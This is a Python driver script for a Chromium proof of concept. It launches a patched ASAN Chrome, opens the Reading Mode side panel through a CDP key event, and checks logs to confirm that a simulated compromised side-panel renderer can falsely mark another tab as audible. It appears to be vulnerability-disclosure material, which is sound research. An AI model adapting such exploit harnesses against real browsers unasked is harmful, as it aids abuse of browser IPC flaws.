#!/usr/bin/env python3
"""
Driver for the Read-Anything OnReadAloudAudioStateChange audibility-spoof POC.

Threat model: a compromised chrome-untrusted://read-anything-side-panel renderer
sends UntrustedPageHandler::OnReadAloudAudioStateChange(true) over its existing
Mojo pipe without ever invoking speechSynthesis. The browser process performs no
validation against TtsController and marks the *target tab* (a different
WebContents, different renderer, arbitrary web origin) as currently audible.

This script:
  1. Serves a silent target page.
  2. Launches the patched ASAN Chrome (the patch simulates the compromised
     chrome-untrusted renderer + adds browser-side observation logging).
  3. Navigates to the target page.
  4. Sends Alt+Shift+R (the production Reading-Mode keyboard shortcut) to open
     the Reading Mode side panel — this is the documented user-action
     precondition, not a security gate.
  5. Captures and prints the [POC-*] log lines proving the cross-process
     audibility spoof.
"""
import os
import re
import subprocess
import sys
import tempfile
import threading
import time

ARTIFACTS = os.path.dirname(os.path.abspath(__file__))
SRC = os.environ.get('CHROMIUM_SRC', '/chromium/chromium/src')
CHROME = os.path.join(SRC, 'out/asan/chrome')
CHROMEDRIVER = os.path.join(SRC, 'out/asan/chromedriver')
PORT = 8080
TARGET_URL = f'http://127.0.0.1:{PORT}/target.html'


def start_server():
    p = subprocess.Popen(
        [sys.executable, os.path.join(ARTIFACTS, 'server.py')],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    time.sleep(1)
    return p


def main():
    from selenium import webdriver
    from selenium.webdriver.chrome.service import Service

    server = start_server()
    log_path = os.path.join(ARTIFACTS, 'chrome_log.txt')
    if os.path.exists(log_path):
        os.unlink(log_path)
    user_data = tempfile.mkdtemp(prefix='chrome-poc-')

    opts = webdriver.ChromeOptions()
    opts.binary_location = CHROME
    for a in [
        '--no-sandbox',
        '--ozone-platform=headless',
        '--no-first-run',
        '--no-default-browser-check',
        '--disable-gpu',
        '--enable-logging=stderr',
        '--v=0',
        f'--user-data-dir={user_data}',
        '--window-size=1400,900',
    ]:
        opts.add_argument(a)

    # Route Chrome stderr (which carries LOG(ERROR)) to a file via the
    # chromedriver service log.
    svc = Service(executable_path=CHROMEDRIVER, log_output=log_path,
                  service_args=['--verbose'])

    print(f'[*] launching {CHROME}')
    driver = webdriver.Chrome(service=svc, options=opts)
    try:
        print(f'[*] navigating target tab to {TARGET_URL}')
        driver.get(TARGET_URL)
        time.sleep(2)

        print('[*] sending Alt+Shift+R to open Reading Mode side panel '
              '(user-action precondition)')
        # Dispatch a raw key event so the browser-level accelerator handler
        # sees it (Selenium send_keys targets the renderer DOM only).
        for typ in ('rawKeyDown', 'keyUp'):
            driver.execute_cdp_cmd('Input.dispatchKeyEvent', {
                'type': typ,
                'modifiers': 1 | 8,      # Alt | Shift
                'windowsVirtualKeyCode': 0x52,  # 'R'
                'nativeVirtualKeyCode': 0x52,
                'key': 'R',
                'code': 'KeyR',
            })

        # Give the side-panel WebUI time to load, bind page_handler_, and fire
        # the injected IPC.
        print('[*] waiting for chrome-untrusted side-panel renderer to send '
              'the malicious IPC...')
        deadline = time.time() + 25
        confirmed = False
        while time.time() < deadline:
            time.sleep(1)
            try:
                with open(log_path, 'r', errors='replace') as f:
                    log = f.read()
            except FileNotFoundError:
                continue
            if 'VULN CONFIRMED' in log:
                confirmed = True
                break
            if '[POC-BROWSER' in log and 'IsCurrentlyAudible AFTER' in log:
                confirmed = True
                break
    finally:
        try:
            driver.quit()
        except Exception:
            pass
        server.terminate()

    print()
    print('=' * 72)
    print('Relevant Chrome log output:')
    print('=' * 72)
    with open(log_path, 'r', errors='replace') as f:
        for line in f:
            if '[POC-' in line:
                # chromedriver --verbose wraps stderr lines; strip prefix noise
                m = re.search(r'(\[POC-.*)', line)
                print(m.group(1).rstrip() if m else line.rstrip())
    print('=' * 72)
    print()
    if confirmed:
        print('[+] RESULT: vulnerability triggered — target tab marked audible '
              'by chrome-untrusted renderer with TtsController::IsSpeaking()='
              'false')
        return 0
    else:
        print('[-] RESULT: POC log markers not found (see chrome_log.txt)')
        return 1


if __name__ == '__main__':
    sys.exit(main())
